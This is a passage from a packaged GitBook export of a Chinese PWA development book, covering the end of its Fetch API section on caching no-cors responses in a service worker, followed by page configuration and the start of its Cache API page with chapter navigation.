punctuation\">{</span>\n          <span class=\"token comment\">// &#x5C06;&#x8BF7;&#x6C42;&#x5F97;&#x5230;&#x7684;&#x54CD;&#x5E94;&#x8FDB;&#x884C;&#x7F13;&#x5B58;</span>\n          <span class=\"token comment\">// &#x6B64;&#x65F6;&#x7F13;&#x5B58;&#x7684;&#x8D44;&#x6E90;&#x662F;&#x4E0D;&#x900F;&#x660E;&#x7684;</span>\n          caches<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;cache-storage&apos;</span><span class=\"token punctuation\">)</span>\n            <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">cache</span> <span class=\"token operator\">=&gt;</span> cache<span class=\"token punctuation\">.</span><span class=\"token function\">put</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">,</span> response<span class=\"token punctuation\">.</span><span class=\"token function\">clone</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n          <span class=\"token comment\">// &#x8FD4;&#x56DE;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7ED3;&#x679C;</span>\n          <span class=\"token keyword\">return</span> response\n        <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span>\n          <span class=\"token comment\">// &#x8BF7;&#x6C42;&#x5931;&#x8D25;&#x65F6;&#x518D;&#x4F7F;&#x7528;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x515C;&#x5E95;</span>\n          <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> caches<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;cache-storage&apos;</span><span class=\"token punctuation\">)</span>\n            <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">cache</span> <span class=\"token operator\">=&gt;</span> cache<span class=\"token punctuation\">.</span><span class=\"token function\">match</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        <span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#x7684; Response &#x5BF9;&#x8C61;&#x662F;&#x4E0D;&#x900F;&#x660E;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x6574;&#x4E2A;&#x64CD;&#x4F5C;&#x8FC7;&#x7A0B;&#x65E0;&#x6CD5;&#x5BF9;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#x54CD;&#x5E94;&#x505A;&#x4EFB;&#x4F55;&#x68C0;&#x67E5;&#x5224;&#x65AD;&#xFF0C;&#x53EA;&#x80FD;&#x76F4;&#x5B58;&#x76F4;&#x53D6;&#x3002;&#x8FD9;&#x5C31;&#x6709;&#x53EF;&#x80FD;&#x5C06;&#x771F;&#x5B9E;&#x72B6;&#x6001;&#x7801;&#x4E3A; 404&#x3001;500 &#x7B49;&#x9519;&#x8BEF;&#x54CD;&#x5E94;&#x7ED9;&#x7F13;&#x5B58;&#x4E0B;&#x6765;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x201C;no-cors&#x201D;&#x6A21;&#x5F0F;&#x4E0B;&#x7F13;&#x5B58;&#x7684;&#x8DE8;&#x57DF;&#x8D44;&#x6E90;&#x7684;&#x53EF;&#x4FE1;&#x5EA6;&#x4E0D;&#x9AD8;&#xFF0C;&#x6700;&#x597D;&#x4F5C;&#x4E3A;&#x5404;&#x7C7B;&#x8BF7;&#x6C42;&#x7B56;&#x7565;&#x7684;&#x515C;&#x5E95;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x4F7F;&#x7528;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"2-async-function.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 3.2 Async 函数\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"4-cache-api.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 3.4 Cache API\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"3.3 Fetch API\",\"level\":\"1.4.3\",\"depth\":2,\"next\":{\"title\":\"3.4 Cache API\",\"level\":\"1.4.4\",\"depth\":2,\"path\":\"chapter03/4-cache-api.md\",\"ref\":\"chapter03/4-cache-api.md\",\"articles\":[]},\"previous\":{\"title\":\"3.2 Async 函数\",\"level\":\"1.4.2\",\"depth\":2,\"path\":\"chapter03/2-async-function.md\",\"ref\":\"chapter03/2-async-function.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter03/3-fetch-api.md\",\"mtime\":\"2019-06-19T10:37:42.127Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter03/4-cache-api.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>3.4 Cache API · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"5-indexeddb.html\" />\n    \n    \n    <link rel=\"prev\" href=\"3-fetch-api.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"1-promise.html\">\n            \n                <a href=\"1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"2-async-function.html\">\n            \n                <a href=\"2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"3-fetch-api.html\">\n            \n                <a href=\"3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.4.4\" data-path=\"4-cache-api.html\">\n            \n                <a href=\"4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"5-indexeddb.html\">\n            \n                <a href=\"5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                